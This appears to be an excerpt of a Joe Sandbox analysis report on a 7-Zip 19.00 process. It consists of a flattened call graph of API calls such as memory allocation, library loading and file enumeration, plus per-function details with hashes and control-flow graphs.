28420->28397 28421 6b6360 15 API calls 28422 6c1464 28421->28422 28423 6b3404 4 API calls 28422->28423 28425 6c1483 28422->28425 28423->28425 28424 6c14d9 28424->28389 28427 6b3404 4 API calls 28424->28427 28425->28389 28425->28424 28594 6d02a0 6 API calls 28425->28594 28427->28389 28428 6c14c7 _CxxThrowException 28428->28424 28430 6b3208 2 API calls 28429->28430 28431 6f7c84 28430->28431 28432 6dab74 28431->28432 28433 6daba6 28432->28433 28460 6dabd3 28432->28460 28433->28460 28766 6d94a8 7 API calls 28433->28766 28434 6dae31 28663 6d83c8 28434->28663 28443 6dae7f 28446 6dae99 28443->28446 28447 6b339c 4 API calls 28443->28447 28444 6b3208 malloc _CxxThrowException 28444->28460 28445 6daf7a free 28445->28185 28448 6b31c0 4 API calls 28446->28448 28447->28446 28449 6daeaf 28448->28449 28747 6da9fc 28449->28747 28451 6b3518 malloc _CxxThrowException free 28451->28460 28455 6daed1 28456 6b31c0 4 API calls 28455->28456 28457 6daee7 28456->28457 28459 6da9fc 126 API calls 28457->28459 28461 6daef3 free 28459->28461 28460->28434 28460->28444 28460->28451 28465 6dad95 free 28460->28465 28466 6bb8f0 malloc _CxxThrowException memmove free 28460->28466 28467 6dadc2 memmove 28460->28467 28469 6b2130 malloc _CxxThrowException 28460->28469 28767 6d9d98 28460->28767 28786 6da034 8 API calls 28460->28786 28787 6d9af0 28460->28787 28794 6d94a8 7 API calls 28460->28794 28462 6daf06 28461->28462 28464 6dae7a 28461->28464 28462->28464 28471 6daf38 28462->28471 28464->28445 28465->28460 28466->28460 28467->28460 28468 6daf3b GetProcAddress 28468->28471 28469->28460 28471->28468 28472 6daf71 28471->28472 28472->28445 28472->28464 28474 6e4c5c 28473->28474 28482 6e4c79 28473->28482 28475 6e4c60 free 28474->28475 28475->28475 28475->28482 28476 6e4d9c 28476->28192 28476->28210 28478 6e4d9e free 28478->28476 28480 6e4dac free 28480->28476 28481 6b2130 2 API calls 28481->28482 28482->28476 28482->28478 28482->28480 28482->28481 28483 6e4d63 memmove 28482->28483 28484 6bb8f0 4 API calls 28482->28484 28921 6b9a80 malloc _CxxThrowException memmove 28482->28921 28922 6dbb68 16 API calls 28482->28922 28483->28482 28485 6e4d86 free 28484->28485 28485->28476 28485->28482 28486->28208 28487->28220 28488->28214 28489->28219 28490->28225 28491->28236 28492->28245 28493->28259 28495 6b32d0 28494->28495 28496 6b2fbc 2 API calls 28495->28496 28497 6b32e4 28496->28497 28497->28194 28497->28497 28498->28210 28499->28210 28500->28202 28502->28220 28504->28241 28507->28275 28508->28275 28509->28305 28511->28308 28512->28312 28515->28295 28517->28268 28518->28296 28521 6bfb08 28520->28521 28522 6bfb00 28520->28522 28523 6b3314 3 API calls 28521->28523 28522->28341 28524 6bfb21 28523->28524 28525 6bfb3f free 28524->28525 28528 6bfb4f 28524->28528 28525->28522 28527 6bfba2 _CxxThrowException 28529 6bfbb4 free 28527->28529 28528->28529 28615 6d02a0 6 API calls 28528->28615 28529->28522 28531 6c018f 28530->28531 28532 6b32bc 2 API calls 28531->28532 28543 6c01e4 28531->28543 28534 6c01b0 28532->28534 28533 6c0325 28533->28355 28533->28356 28616 6bed8c 6 API calls 28534->28616 28536 6c02ca 28620 6d02a0 6 API calls 28536->28620 28537 6c01d1 free 28537->28543 28539 6c02de _CxxThrowException 28541 6c02c8 28539->28541 28541->28533 28621 6d02a0 6 API calls 28541->28621 28543->28533 28543->28536 28543->28541 28617 6bfec8 142 API calls 28543->28617 28618 6bfd30 12 API calls 28543->28618 28619 6bed8c 6 API calls 28543->28619 28546 6c0313 _CxxThrowException 28546->28533 28548 6b4b7f 28547->28548 28549 6b4b77 28547->28549 28550 6b4bb6 28548->28550 28551 6b4ba1 free free 28548->28551 28559 6c0c20 28549->28559 28552 6b2130 2 API calls 28550->28552 28558 6b4bfd 28550->28558 28551->28548 28553 6b4bd3 28552->28553 28554 6b4bef free 28553->28554 28555 6b4bdc memmove 28553->28555 28554->28558 28555->28554 28556 6b2130 2 API calls 28556->28558 28557 6b3314 3 API calls 28557->28558 28558->28549 28558->28556 28558->28557 28560 6c0d37 28559->28560 28563 6c0c4a 28559->28563 28560->28368 28560->28370 28561 6b3208 malloc _CxxThrowException 28561->28563 28562 6b3404 4 API calls 28562->28563 28563->28560 28563->28561 28563->28562 28564 6b2130 2 API calls 28563->28564 28565 6b339c 4 API calls 28563->28565 28566 6b3314 malloc _CxxThrowException memmove 28563->28566 28567 6bb8f0 4 API calls 28563->28567 28564->28563 28565->28563 28566->28563 28568 6c0d0d free free 28567->28568 28568->28560 28568->28563 28570 6b6419 28569->28570 28574 6b63e5 28569->28574 28571 6b6451 28570->28571 28573 6b643c free free 28570->28573 28575 6b6360 28571->28575 28573->28570 28574->28570 28622 6b5d18 55 API calls 28574->28622 28576 6b6379 28575->28576 28577 6b63c4 28576->28577 28623 6b5bbc 15 API calls 28576->28623 28577->28390 28590 6d02a0 6 API calls 28577->28590 28580 6c1458 28579->28580 28581 6d409e 28579->28581 28580->28421 28581->28580 28624 6d3e14 28581->28624 28583->28324 28584->28328 28585->28339 28586->28343 28587->28347 28588->28353 28589->28362 28590->28394 28591->28395 28592->28396 28593->28401 28594->28428 28595->28377 28596->28379 28598 6bef99 28597->28598 28599 6bef91 28597->28599 28600 6befd9 28598->28600 28601 6befbb free free free 28598->28601 28599->28392 28599->28398 28602 6b2130 2 API calls 28600->28602 28607 6bf020 28600->28607 28601->28598 28603 6beff6 28602->28603 28604 6befff memmove 28603->28604 28605 6bf012 free 28603->28605 28604->28605 28605->28607 28606 6b2130 2 API calls 28606->28607 28607->28599 28607->28606 28608 6b3314 malloc _CxxThrowException memmove 28607->28608 28608->28607 28609->28392 28610->28409 28611->28417 28612->28420 28613->28416 28614->28387 28615->28527 28616->28537 28617->28543 28618->28543 28619->28543 28620->28539 28621->28546 28622->28574 28623->28576 28642 6d1370 28624->28642 28627 6d1370 96 API calls 28629 6d3e45 28627->28629 28628 6d4043 28628->28581 28639 6d3ea2 28629->28639 28646 6d01a8 28629->28646 28631 6b318c 4 API calls 28633 6d3fdd 28631->28633 28633->28628 28633->28631 28636 6d3e14 105 API calls 28633->28636 28662 6cff04 malloc _CxxThrowException memmove 28633->28662 28635 6b520c malloc _CxxThrowException memmove memmove free 28635->28639 28637 6d4022 free free 28636->28637 28637->28628 28637->28633 28638 6d3f6b memmove 28638->28639 28639->28633 28639->28635 28639->28638 28660 6b2748 CharUpperW CharUpperW 28639->28660 28661 6b5424 6 API calls 28639->28661 28643 6d13dd 28642->28643 28644 6d1388 28642->28644 28643->28627 28644->28643 28645 6d01a8 96 API calls 28644->28645 28645->28644 28647 6d0259 28646->28647 28648 6d01c8 28646->28648 28647->28629 28648->28647 28649 6b3208 2 API calls 28648->28649 28650 6d01ec 28649->28650 28651 6b318c 4 API calls 28650->28651 28652 6d01fd 28651->28652 28653 6d020c free free 28652->28653 28654 6d0223 28652->28654 28653->28647 28655 6b7ebc 90 API calls 28654->28655 28656 6d0232 28655->28656 28657 6d0244 free free 28656->28657 28658 6b3404 4 API calls 28656->28658 28657->28647 28659 6d0243 28658->28659 28659->28657 28660->28639 28662->28633 28795 6b6570 28663->28795 28666 6b31c0 4 API calls 28667 6d8406 28666->28667 28668 6b8624 91 API calls 28667->28668 28669 6d841b 28668->28669 28670 6d8479 28669->28670 28671 6b31c0 4 API calls 28669->28671 28672 6d8499 28670->28672 28673 6d848b free 28670->28673 28674 6d8435 28671->28674 28675 6d84ad 28672->28675 28676 6d849f free 28672->28676 28673->28672 28802 6b86dc 91 API calls 28674->28802 28678 6d84bd 28675->28678 28679 6d84b3 free 28675->28679 28676->28675 28681 6d85ef 28678->28681 28684 6b3208 2 API calls 28678->28684 28679->28678 28680 6d844a 28680->28670 28682 6b31c0 4 API calls 28680->28682 28683 6b3314 3 API calls 28681->28683 28685 6d8464 28682->28685 28686 6d85fc free 28683->28686 28687 6d84d0 28684->28687 28803 6b86dc 91 API calls 28685->28803 28690 6d860a 28686->28690 28804 6d8290 102 API calls 28687->28804 28714 6b31c0 28690->28714 28691 6d84ec 28692 6d851b 28691->28692 28693 6d84f0 28691->28693 28805 6d8290 102 API calls 28692->28805 28694 6b3314 3 API calls 28693->28694 28696 6d84fd free free 28694->28696 28696->28690 28697 6d8536 28698 6d853a 28697->28698 28699 6d8565 28697->28699 28700 6b3314 3 API calls 28698->28700 28806 6d8290 102 API calls 28699->28806 28702 6d8547 free free 28700->28702 28702->28690 28703 6d8579 28704 6d857d 28703->28704 28705 6d85a5 28703->28705 28707 6b3314 3 API calls 28704->28707 28807 6d8290 102 API calls 28705->28807 28708 6d858a free free 28707->28708 28708->28690 28709 6d85b9 28710 6d85bd 28709->28710 28711 6d85e5 free 28709->28711 28712 6b3314 3 API calls 28710->28712 28711->28681 28713 6d85ca free free 28712->28713 28713->28690 28715 6b31d8 28714->28715 28716 6b312c 4 API calls 28715->28716 28717 6b31fe 28716->28717 28718 6da7fc 28717->28718 28719 6da822 28718->28719 28720 6da872 28719->28720 28869 6b6490 FreeLibrary LoadLibraryExW 28719->28869 28813 6d996c 28720->28813 28724 6da84d 28726 6da865 28724->28726 28727 6da851 28724->28727 28725 6b3404 4 API calls 28729 6da893 28725->28729 28728 6b6464 FreeLibrary 28726->28728 28870 6b6464 28727->28870 28728->28720 28820 6b64d4 28729->28820 28733 6da85e free 28733->28443 28733->28464 28734 6da8bf GetProcAddress 28735 6da8d7 28734->28735 28738 6da8d5 28734->28738 28739 6da8fd GetProcAddress 28735->28739 28740 6da8dd GetProcAddress 28735->28740 28736 6da981 free 28737 6b6464 FreeLibrary 28736->28737 28742 6da993 free 28737->28742 28738->28735 28825 6d91e0 GetProcAddress GetProcAddress GetProcAddress 28739->28825 28740->28739 28741 6da8f3 28740->28741 28741->28739 28742->28733 28744 6da945 28744->28733 28744->28736 28748 6b3208 2 API calls 28747->28748 28749 6daa29 28748->28749 28750 6b7df4 4 API calls 28749->28750 28751 6daa37 28750->28751 28752 6b3208 2 API calls 28751->28752 28753 6daa4b 28752->28753 28879 6b7e34 28753->28879 28755 6daac0 free 28756 6daacd free 28755->28756 28758 6b794c FindClose 28756->28758 28757 6b7e34 40 API calls 28761 6daa5b 28757->28761 28760 6daae1 free 28758->28760 28759 6b318c 4 API calls 28759->28761 28760->28455 28760->28464 28761->28755 28761->28757 28761->28759 28762 6daab1 28761->28762 28763 6da7fc 82 API calls 28761->28763 28762->28755 28764 6daa8e free 28763->28764 28764->28761 28765 6daab3 free 28764->28765 28765->28756 28886 6d9bcc 28767->28886 28770 6d9bcc 9 API calls 28782 6d9df2 28770->28782 28771 6d9ee9 28772 6d9f25 free 28771->28772 28775 6d9f0f free free 28771->28775 28773 6d9f5b 28772->28773 28774 6d9f33 28772->28774 28774->28773 28776 6d9f46 free free 28774->28776 28775->28771 28776->28774 28777 6b3208 malloc _CxxThrowException 28777->28782 28778 6b3404 4 API calls 28778->28782 28779 6b2130 2 API calls 28779->28782 28780 6b3404 4 API calls 28781 6d9e5a wcscmp 28780->28781 28781->28782 28782->28771 28782->28777 28782->28778 28782->28779 28782->28780 28783 6bb8f0 4 API calls 28782->28783 28784 6b3314 malloc _CxxThrowException memmove 28782->28784 28785 6d9ec4 free free 28783->28785 28784->28782 28785->28771 28785->28782 28786->28460 28788 6b3314 3 API calls 28787->28788 28789 6d9b2b 28788->28789 28906 6d8f60 28789->28906 28796 6b3208 2 API calls 28795->28796 28797 6b6593 28796->28797 28808 6b650c GetModuleFileNameW 28797->28808 28799 6b65dd 28799->28666 28800 6b65a3 28800->28799 28812 6b3518 malloc _CxxThrowException free 28800->28812 28802->28680 28803->28670 28804->28691 28805->28697 28806->28703 28807->28709 28809 6b654d 28808->28809 28810 6b655e 28808->28810 28809->28810 28811 6b339c 4 API calls 28809->28811 28810->28800 28811->28810 28812->28799 28814 6b2130 2 API calls 28813->28814 28815 6d9989 28814->28815 28816 6b3208 2 API calls 28815->28816 28817 6d99a6 28815->28817 28816->28817 28818 6bb8f0 4 API calls 28817->28818 28819 6d99e5 28818->28819 28819->28725 28821 6b6464 FreeLibrary 28820->28821 28822 6b64e7 28821->28822 28823 6b64ed 28822->28823 28824 6b64f1 LoadLibraryExW 28822->28824 28823->28734 28823->28735 28823->28744 28824->28823 28826 6d9312 GetProcAddress 28825->28826 28827 6d9242 GetProcAddress 28825->28827 28828 6d9370 28826->28828 28835 6d9327 28826->28835 28831 6d9262 28827->28831 28829 6d9372 28828->28829 28829->28744 28836 6da180 GetProcAddress GetProcAddress 28829->28836 28830 6d86e0 VariantClear SysStringByteLen 28830->28831 28831->28826 28831->28829 28831->28830 28832 6d92e0 memmove 28831->28832 28873 6d8e6c malloc _CxxThrowException memmove free memmove 28832->28873 28835->28828 28835->28829 28874 6d8eec malloc _CxxThrowException memmove free 28835->28874 28837 6da1eb GetProcAddress 28836->28837 28838 6da214 GetProcAddress 28836->28838 28839 6da200 28837->28839 28865 6da233 28837->28865 28840 6da20f 28838->28840 28838->28865 28839->28840 28839->28865 28841 6da643 28840->28841 28841->28744 28842 6da648 28878 6d94a8 7 API calls 28842->28878 28844 6da36f SysStringByteLen 28845 6da64d 28844->28845 28844->28865 28848 6bae2c VariantClear 28845->28848 28846 6bae2c VariantClear 28846->28865 28847 6d94a8 7 API calls 28847->28865 28848->28842 28849 6b3208 malloc _CxxThrowException 28849->28865 28850 6d8928 malloc _CxxThrowException SysStringLen free VariantClear 28850->28865 28851 6da662 free free 28851->28842 28852 6da67d free free 28852->28842 28853 6d9d98 19 API calls 28853->28865 28854 6da698 free free 28854->28842 28855 6d87a8 VariantClear 28855->28865 28856 6da6b0 free free free 28856->28842 28858 6d9380 7 API calls 28858->28865 28859 6da6d3 free free free 28859->28842 28861 6d8860 VariantClear 28861->28865 28862 6da6f6 free free free 28862->28842 28863 6b2130 2 API calls 28863->28865 28864 6d9af0 4 API calls 28864->28865 28865->28841 28865->28842 28865->28844 28865->28846 28865->28847 28865->28849 28865->28850 28865->28851 28865->28852 28865->28853 28865->28854 28865->28855 28865->28856 28865->28858 28865->28859 28865->28861 28865->28862 28865->28863 28865->28864 28866 6bb8f0 4 API calls 28865->28866 28875 6d98d4 malloc _CxxThrowException memmove 28865->28875 28876 6da034 8 API calls 28865->28876 28867 6da607 free free free 28866->28867 28877 6d94a8 7 API calls 28867->28877 28869->28724 28871 6b6475 FreeLibrary 28870->28871 28872 6b647f 28870->28872 28871->28872 28872->28733 28873->28831 28874->28835 28876->28865 28881 6b7e41 28879->28881 28880 6b7e4a 28880->28881 28885 6b7a90 malloc _CxxThrowException free memmove FindNextFileW 28880->28885 28881->28880 28883 6b7978 39 API calls 28881->28883 28884 6b7e70 28881->28884 28883->28881 28884->28761 28885->28880 28887 6d9bf5 28886->28887 28888 6d9c22 28886->28888 28887->28888 28890 6d9c0d free free 28887->28890 28889 6b3208 2 API calls 28888->28889 28891 6d9c2f 28889->28891 28890->28887 28892 6d9c36 free 28891->28892 28904 6d9c45 28891->28904 28893 6d9d2f 28892->28893 28893->28770 28894 6d9d25 free 28894->28893 28895 6b2130 2 API calls 28898 6d9cfc 28895->28898 28896 6d9ce8 28896->28894 28896->28895 28897 6b2130 2 API calls 28897->28904 28899 6d9d16 28898->28899 28900 6b3314 3 API calls 28898->28900 28901 6bb8f0 4 API calls 28899->28901 28900->28899 28903 6d9d24 28901->28903 28902 6b3314 3 API calls 28902->28904 28903->28894 28904->28896 28904->28897 28904->28902 28905 6bb8f0 4 API calls 28904->28905 28905->28904 28907 6d8f9c 28906->28907 28912 6d8fa8 28906->28912 28908 6b2130 2 API calls 28907->28908 28908->28912 28909 6d900a 28913 6d9078 28909->28913 28910 6b2130 2 API calls 28910->28912 28911 6b3314 malloc _CxxThrowException memmove 28911->28912 28912->28909 28912->28910 28912->28911 28914 6d90b6 28913->28914 28918 6d90c2 28913->28918 28916 6b2130 2 API calls 28914->28916 28915 6d913f 28915->28460 28916->28918 28917 6b2130 2 API calls 28917->28918 28918->28915 28918->28917 28919 6b2130 2 API calls 28918->28919 28920 6d9110 memmove 28919->28920 28920->28918 28921->28482 28922->28482 28923 6d9a34 28924 6d9a9e 28923->28924 28925 6d9a54 28923->28925 28925->28924 28926 6d9a80 free 28925->28926 28927 6b6464 FreeLibrary 28926->28927 28928 6d9a92 free 28927->28928 28928->28925 28929 6e49b0 28949 6dcd8c 28929->28949 28932 6b3208 2 API calls 28933 6e49e7 28932->28933 28934 6b3208 2 API calls 28933->28934 28935 6e49f2 28934->28935 28939 6e4a25 28935->28939 28956 6b6e30 28935->28956 28940 6e4a57 free free 28939->28940 28946 6e4a72 28939->28946 28941 6e4b22 28940->28941 28942 6e4b0a free free 28942->28941 28943 6b318c 4 API calls 28943->28946 28944 6b2130 2 API calls 28944->28946 28945 6b3314 3 API calls 28945->28946 28946->28942 28946->28943 28946->28944 28946->28945 28947 6bb8f0 4 API calls 28946->28947 28948 6e4ade free 28947->28948 28948->28946 28950 6b3208 2 API calls 28949->28950 28951 6dcddd 28950->28951 28952 6b3208 2 API calls 28951->28952 28953 6dcdf0 28952->28953 28954 6b3208 2 API calls 28953->28954 28955 6dcdfe 28954->28955 28955->28932 28957 6b6e47 28956->28957 28958 6b6e59 28957->28958 28959 6b339c 4 API calls 28957->28959 28960 6b339c 4 API calls 28958->28960 28959->28958 28961 6b6e73 28960->28961 28962 6dcf80 28961->28962 28963 6b3404 4 API calls 28962->28963 28964 6dcfa1 28963->28964 28965 6b318c 4 API calls 28964->28965 28966 6dcfb2 28965->28966 28967 6b7ebc 90 API calls 28966->28967 28968 6dcfbf free 28967->28968 28969 6dcfd2 _CxxThrowException 28968->28969 28971 6dcfec 28968->28971 28969->28971 28970 6dd02a 28970->28939 28971->28970 28972 6dd015 free free 28971->28972 28972->28971

                                                                                                                                                                                                                                                              Executed Functions

                                                                                                                                                                                                                                                              Function 006F8817 Relevance: 130.3, APIs: 62, Strings: 12, Instructions: 780COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: BufferConsoleExceptionHandleInfoScreenThrowfputs
                                                                                                                                                                                                                                                              • String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$ $ || $7-Zip cannot find the code that works with archives.$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$Unsupported archive type$offset=
                                                                                                                                                                                                                                                              • API String ID: 3442115484-272389550
                                                                                                                                                                                                                                                              • Opcode ID: 333ffd121fdcf203ab2e1200e73cc7bcd87e924206da6f59f5088d2f4f234a71
                                                                                                                                                                                                                                                              • Instruction ID: 2394981ab30fd89e0d782a7e0a862080ad03e203ddd6bfaccdc663008e7d50de
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 333ffd121fdcf203ab2e1200e73cc7bcd87e924206da6f59f5088d2f4f234a71
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 85726EB2208A8596DB64EF25E4903FE73A3F789B80F409126DB8A47758DF3CC559CB44
                                                                                                                                                                                                                                                              Function 006D24C0 Relevance: 102.2, APIs: 81, Instructions: 981COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrowmallocmemmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3352498445-0
                                                                                                                                                                                                                                                              • Opcode ID: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
                                                                                                                                                                                                                                                              • Instruction ID: 3cfa699c6f23968fef60d16f28d0bddb42f52a392f422467eb8a67f11a01ec7e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AA828172A086C186CA70EF25E4A03EEB362F795B90F444126DB8D57B59DF78C986CB04
                                                                                                                                                                                                                                                              Function 006D47AC Relevance: 86.1, APIs: 56, Strings: 1, Instructions: 647COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 1635 6d47ac-6d485c call 6b3314 * 2 1640 6d485e-6d4884 call 6b2880 1635->1640 1641 6d489a-6d491b call 6d6344 call 6b32bc call 6b3b5c free * 2 call 6b3208 call 6b3314 1635->1641 1640->1641 1647 6d4886-6d4895 call 6b3404 1640->1647 1656 6d49bd-6d49cb call 6b477c 1641->1656 1657 6d4921-6d4925 1641->1657 1647->1641 1662 6d4dff 1656->1662 1663 6d49d1-6d49e7 1656->1663 1657->1656 1659 6d492b-6d495e call 6b3208 call 6b449c 1657->1659 1676 6d49b0-6d49b8 free 1659->1676 1677 6d4960-6d496f 1659->1677 1665 6d4e02-6d4e05 1662->1665 1673 6d49e9-6d4a28 free * 4 1663->1673 1674 6d4a68-6d4ad2 call 6b3208 * 3 1663->1674 1668 6d4e07-6d4e1c call 6b2130 1665->1668 1669 6d4e40-6d4e45 1665->1669 1692 6d4e1e-6d4e2e call 6b3314 1668->1692 1693 6d4e30 1668->1693 1671 6d4e5d-6d4e62 call 6b70c8 1669->1671 1672 6d4e47-6d4e58 call 6b3518 1669->1672 1690 6d4e67-6d4e6a 1671->1690 1699 6d4f2c-6d4f98 call 6c3f0c 1672->1699 1681 6d4a58-6d4a63 free 1673->1681 1682 6d4a2a 1673->1682 1720 6d4ad8-6d4adb 1674->1720 1721 6d4d30-6d4d3b 1674->1721 1676->1656 1684 6d497a-6d498b 1677->1684 1685 6d4971-6d4978 1677->1685 1687 6d504a-6d5059 free 1681->1687 1691 6d4a2e-6d4a41 1682->1691 1686 6d4993-6d4996 1684->1686 1685->1684 1685->1686 1686->1676 1695 6d4998-6d49ad call 6b3404 1686->1695 1697 6d523b-6d524e 1687->1697 1690->1699 1700 6d4e70-6d4eea GetLastError call 6b3518 call 6b362c free * 4 1690->1700 1701 6d4a54-6d4a56 1691->1701 1702 6d4a43-6d4a4f free * 2 1691->1702 1696 6d4e33-6d4e3b call 6bb8f0 1692->1696 1693->1696 1695->1676 1696->1669 1714 6d505e-6d5062 1699->1714 1715 6d4f9e-6d4fa2 1699->1715 1723 6d4eec 1700->1723 1724 6d4f1a-6d4f27 free 1700->1724 1701->1681 1701->1691 1702->1701 1718 6d506e 1714->1718 1719 6d5064-6d506c 1714->1719 1715->1714 1722 6d4fa8-6d4fac 1715->1722 1725 6d5071-6d507d 1718->1725 1719->1718 1719->1725 1726 6d4add-6d4ae0 1720->1726 1727 6d4b24-6d4b3e call 6dec5c 1720->1727 1728 6d4d41-6d4dae call 6c2a84 free * 4 1721->1728 1729 6d4df0-6d4dfd call 6c2a84 1721->1729 1722->1714 1730 6d4fb2-6d4fc7 call 6c32e8 1722->1730 1731 6d4ef0-6d4f03 1723->1731 1724->1687 1734 6d5083-6d50d1 1725->1734 1735 6d5152-6d516d 1725->1735 1726->1727 1736 6d4ae2-6d4aee 1726->1736 1746 6d4c9d-6d4cee call 6c2a84 free * 4 1727->1746 1747 6d4b44 1727->1747 1787 6d4dde-6d4deb free 1728->1787 1788 6d4db0 1728->1788 1729->1665 1730->1714 1753 6d4fcd-6d500d free * 4 1730->1753 1738 6d4f15-6d4f18 1731->1738 1739 6d4f05-6d4f10 free * 2 1731->1739 1785 6d5143-6d5150 call 6bae2c 1734->1785 1786 6d50d3-6d50de 1734->1786 1751 6d5173 1735->1751 1742 6d4b4c-6d4b50 1736->1742 1743 6d4af0-6d4af7 1736->1743 1738->1724 1738->1731 1739->1738 1748 6d4b60-6d4b63 1742->1748 1749 6d4b52-6d4b5a 1742->1749 1743->1742 1752 6d4af9-6d4b14 call 6db290 1743->1752 1781 6d4d1e-6d4d2b free 1746->1781 1782 6d4cf0 1746->1782 1747->1742 1756 6d4b65-6d4b80 call 6b4318 1748->1756 1757 6d4bc1-6d4bc4 1748->1757 1749->1748 1755 6d4bf5-6d4bff 1749->1755 1758 6d5175-6d517b 1751->1758 1775 6d4c0a-6d4c5b call 6c2a84 free * 4 1752->1775 1776 6d4b1a-6d4b22 1752->1776 1761 6d503d-6d5048 free 1753->1761 1762 6d500f 1753->1762 1755->1720 1768 6d4c05 1755->1768 1796 6d4b87-6d4b9e 1756->1796 1797 6d4b82-6d4b85 1756->1797 1765 6d4bc6-6d4be1 call 6c43fc 1757->1765 1766 6d4be3-6d4bf2 call 6fc7d4 1757->1766 1771 6d517d-6d5188 call 6c6cd0 1758->1771 1772 6d5190-6d519e call 6f1850 1758->1772 1761->1687 1764 6d5013-6d5026 1762->1764 1778 6d5038-6d503b 1764->1778 1779 6d5028-6d5033 free * 2 1764->1779 1765->1755 1765->1766 1766->1755 1768->1721 1771->1772 1794 6d51a1-6d51a6 1772->1794 1815 6d4c5d 1775->1815 1816 6d4c8b-6d4c98 free 1775->1816 1776->1742 1778->1761 1778->1764 1779->1778 1781->1687 1795 6d4cf4-6d4d07 1782->1795 1785->1758 1786->1785 1798 6d50e0-6d50e3 1786->1798 1787->1687 1801 6d4db4-6d4dc7 1788->1801 1802 6d51a8-6d51b0 call 6c6cd0 1794->1802 1803 6d51b1-6d51f1 free * 4 1794->1803 1804 6d4d19-6d4d1c 1795->1804 1805 6d4d09-6d4d14 free * 2 1795->1805 1808 6d4baf-6d4bb3 1796->1808 1809 6d4ba0-6d4ba8 1796->1809 1797->1757 1799 6d5138-6d5140 1798->1799 1800 6d50e5-6d50e7 1798->1800 1799->1785 1811 6d50e9-6d50eb 1800->1811 1812 6d512b-6d5136 1800->1812 1813 6d4dd9-6d4ddc 1801->1813 1814 6d4dc9-6d4dd4 free * 2 1801->1814 1802->1803 1818 6d5221-6d5239 free * 2 1803->1818 1819 6d51f3 1803->1819 1804->1781 1804->1795 1805->1804 1808->1757 1810 6d4bb5-6d4bbd 1808->1810 1809->1757 1820 6d4baa-6d4bad 1809->1820 1810->1757 1821 6d50ed-6d50f0 1811->1821 1822 6d511f-6d5129 1811->1822 1812->1785 1813->1787 1813->1801 1814->1813 1825 6d4c61-6d4c74 1815->1825 1816->1687 1818->1697 1824 6d51f7-6d520a 1819->1824 1820->1757 1826 6d5112-6d511d 1821->1826 1827 6d50f2-6d5111 _CxxThrowException 1821->1827 1822->1785 1830 6d521c-6d521f 1824->1830 1831 6d520c-6d5217 free * 2 1824->1831 1828 6d4c86-6d4c89 1825->1828 1829 6d4c76-6d4c81 free * 2 1825->1829 1826->1785 1827->1826 1828->1816 1828->1825 1829->1828 1830->1818 1830->1824 1831->1830
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • Can not create output directory: , xrefs: 006D4E83
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
